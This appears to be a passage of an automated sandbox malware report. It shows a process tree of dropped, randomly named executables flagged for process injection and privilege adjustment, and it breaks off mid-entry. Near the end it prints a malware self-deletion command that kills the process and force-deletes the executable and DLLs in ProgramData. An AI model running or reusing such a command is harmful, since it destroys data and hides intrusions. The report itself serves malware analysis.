- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:2184
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:7092
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:8720
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 8720 -s 28
      4⤵
      Program crash
      PID:6816
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:6988
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:4008
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    - Suspicious use of NtCreateProcessExOtherParentProcess
    PID:4628
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:4508
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:2280
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:10200
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:4116
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:7596
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:8068
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:10136
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:4348
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:8424
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:8152
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:7636
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:10008
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:10236
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:7236
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:6840
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:5392
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:5800
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:4032
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:7996
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:5288
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:6952
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:6832
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:9112
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:7732
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:9468
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    - Suspicious use of NtCreateProcessExOtherParentProcess
    PID:8312
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:8400
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:5072
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:2784
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    - Suspicious use of NtCreateProcessExOtherParentProcess
    PID:7476
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:9796
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:5380
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:9732
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:8852
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:7440
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:1536
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:2840
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:8248
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:5944
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:4992
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4992 -s 28
      4⤵
      Program crash
      PID:7380
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:9444
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:7516
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:7688
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:8864
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:6484
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:1644
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:2700
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    - Executes dropped EXE
    PID:5360
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:4464
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:1248
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1248 -s 28
      4⤵
      Program crash
      PID:9908
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:4264
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:7840
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:8212
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:10400
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:11056
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:2912
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:11176
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:10660
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:5440
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:10636
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:424
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:11232
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:3716
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:8880
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:8032
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:7640
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:6276
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:6196
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:12584
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:13300
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:12884
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:12408
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:13148
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:12644
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:11028
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:10452
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:12468
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:13288
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:7184
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:10088
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:10940
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:13252
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:10468
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:10348
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    - Suspicious use of NtCreateProcessExOtherParentProcess
    PID:9328
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:12716
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:11536
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:12360
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:11768
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:11288
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:9016
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:3020
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:11712
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:10184
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:8832
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:11668
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:1492
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:3312
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:12036
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:8468
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:11660
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:12228
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:13692
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:14176
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:32
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:10840
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:13744
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:14292
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:10628
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:9628
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:13816
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:11764
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:11604
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:13036
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:2336
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:7240
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:13728
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:4148
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:12208
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:11528
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:13964
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:14688
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:15092
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:14636
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:11812
- - C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    C:\Users\Admin\Documents\s6XkU3VdWErp3FIa9CIA2Ojx.exe
    3⤵
    PID:15316
- C:\Users\Admin\Documents\6E9Hd52_WGEiBxNWxEs12YEN.exe
  "C:\Users\Admin\Documents\6E9Hd52_WGEiBxNWxEs12YEN.exe"
  2⤵
  - Executes dropped EXE
  PID:1152
- C:\Users\Admin\Documents\EKn_OVLBdja5sVWvxioG1V7M.exe
  "C:\Users\Admin\Documents\EKn_OVLBdja5sVWvxioG1V7M.exe"
  2⤵
  - Executes dropped EXE
  PID:1300
- C:\Users\Admin\Documents\xsX_K9gzdoPQHq2lB6Th8U3h.exe
  "C:\Users\Admin\Documents\xsX_K9gzdoPQHq2lB6Th8U3h.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2376
- - C:\Users\Admin\Documents\xsX_K9gzdoPQHq2lB6Th8U3h.exe
    "C:\Users\Admin\Documents\xsX_K9gzdoPQHq2lB6Th8U3h.exe"
    3⤵
    PID:7456
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im xsX_K9gzdoPQHq2lB6Th8U3h.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\xsX_K9gzdoPQHq2lB6Th8U3h.exe" & del C:\ProgramData\*.dll & exit
      4⤵
      PID:5536
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im xsX_K9gzdoPQHq2lB6Th8U3h.exe /f
        5⤵
        Kills process with taskkill
        
        PID:9112
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        5⤵
        Delays execution with timeout.exe
        
        PID:6560
- - C:\Users\Admin\Documents\xsX_K9gzdoPQHq2lB6Th8U3h.exe
    "C:\Users\Admin\Documents\xsX_K9gzdoPQHq2lB6Th8U3h.exe"
    3⤵
    PID:7380
- C:\Users\Admin\Documents\oa2u56KuFk2i7XYMA0xMSNi2.exe
  "C:\Users\Admin\Documents\oa2u56KuFk2i7XYMA0xMSNi2.exe"
  2⤵
  - Executes dropped EXE
  PID:2472
- C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
  "C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:3688
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    - Executes dropped EXE
    PID:648
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:448
- - C:\Users\Admin\Documents\7noQoxsVgLBBtgcZWelnZEHN.exe
